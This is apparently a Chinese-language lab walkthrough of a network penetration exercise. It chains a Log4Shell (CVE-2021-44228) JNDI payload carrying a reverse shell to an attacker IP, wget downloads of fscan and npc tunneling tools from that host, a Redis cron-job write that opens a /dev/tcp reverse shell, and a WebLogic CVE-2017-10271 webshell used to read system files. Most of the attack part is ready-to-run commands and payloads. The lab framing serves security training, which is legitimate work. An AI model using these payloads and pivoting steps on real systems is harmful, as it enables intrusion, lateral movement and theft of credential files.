目录
拓扑图
log4j2
CVE-2021-44228
漏洞简介
Apache log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
影响版本 2.0 <= Apache log4j2 <= 2.14.1
防御:把 Apache log4j2 升级到2.15或之上
漏洞原理
log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。
支持JNDI功能模块。该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。
JNDI简单理解就是一组接口,该接口可以调用一些服务。
大部分web服务程序都会对用户输入进行日志记录。例如:用户访问了哪些url,有哪些关键的输入等,都会被作为参数送到log4j中,在这些地方写上 ${jndi:ldap://xxx.dnslog.cn}。
evil服务是黑客自己写的服务(可以是恶意代码),网站执行后,会调用该服务,从而达到执行恶意代码的功能。
漏洞复现
1、打开存在log4j漏洞的网站
2、Kali攻击机上利用JNDI工具包,使用-h参数从查看使用方法,-i指定攻击机ip,-l指定ladp服务器端口,-p指定http服务器端口,-u为payload
3、ip地址填攻击机地址,开启侦听
4、Kali攻击机上利用nc对4449端口进行侦听
5、查看工具payload,找到反弹shell的payload
6、在网站登陆的用户名中输入以下Payload,点击登陆。
${jndi:ldap://160.20.147.118:1389/Basic/ReverseShell/160.20.147.118/4449}
7、获得shell
8、得到/etc/passwd文件的md5值
nps配置
1、开启NPS代理服务器并在靶机上上传NPC回连。这里要先退出JNDI注入工具,因为这个工具和NPS默认都会侦听8080端口。在本地启动nps后,访问127.0.0.1:8080,利用账号密admin/123完成登陆。
2、新增一个客户端,名字可以随意命名
3、利用python在本地侦听一个HTTP服务器,用来供靶机下载fscan、npc等工具
wget http://160.20.147.118:8888/linux_amd64_client.tar.gz
wget http://160.20.147.118:8888/fscan_amd64
tar -zxvf linux_amd64_client.tar.gz
./npc -server=160.20.147.118:8024 -vkey=npmrljmqvvyzxjmg -type=tcp &disown
&disown为后台运行npc
可以看到客户端上线
4、设置socks代理,点击隧道,新增,选择socks代理,设置服务端端口为1080
redis
漏洞简介
redis未授权访问是由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。
条件:redis版本为4.x或 5.0.5及以前的版本;
redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全 策略,直接暴露在公网;
没有设置密码认证(一般为空),可以免密码远程登录redis服务。
漏洞复现(反弹shell)
1、若shell断开,重新使用JNDI会发现8080端口被nps的8080占用了使用以下命令杀掉进程后重新弹shell
2、配置nps代理后,可以访问内网,利用fscan对内网进行扫描,若无权限则先提权
根据扫描的结果可以发现内网中存在redis服务器,并且可以被写入计划任务来反弹shell,同时内网中还存在一台weblogic服务器以及一个ChatNet聊天室。
3、对redis发起攻击,配置代理,以入口点的log4j靶机作为跳板机去攻击内网的服务器
vim /etc/proxychains4.conf
4、攻击机登录redis服务器
proxychains redis-cli -h 192.168.100.101
redis-cli指redis客户端
ip为redis服务器(被攻击的服务器)
5、写入定时任务反弹shell,但是注意这里要把shell弹到log4j的靶机上,因为内部的靶机不出网
get *
flushall
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.100.100/4450 0>&1\n"
config set dir /var/spool/cron
config set dbfilename root
save
代码解释:
set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.100.100/4450 0>&1\n"
写计划任务,x为计划任务的名字,双引号里面的为计划任务,ip为log4j靶机的ip,
4450为log4j靶机监听反弹shell的端口,每隔一分钟自动执行命令。
config set dir /var/spool/cron 设置一个写入的目录,redis服务器中存放本地计划任务的目录
config set dbfilename root 设置写入计划任务的文件名为root
6、收到shell,可以使用crontab -l查看目标机器写入的计划任务
7、获取/etc/shadow文件的md5值
漏洞复现(写webshell)
漏洞复现(写ssh公钥实现ssh登录)
weblogic
1、利用cve-2017-10271_webshell.jar工具对weblogic发起攻击
proxychains java -jar cve-2017-10271_webshell.jar http://192.168.100.102:7001 test.jsp
2、配置代理,将内网的192.168.100.101的7001端口映射到本地的1081端口上
3、访问http://127.0.0.1:1081/bea_wls_internal/test.jsp?password=secfree&command=md5sum /etc/sudoers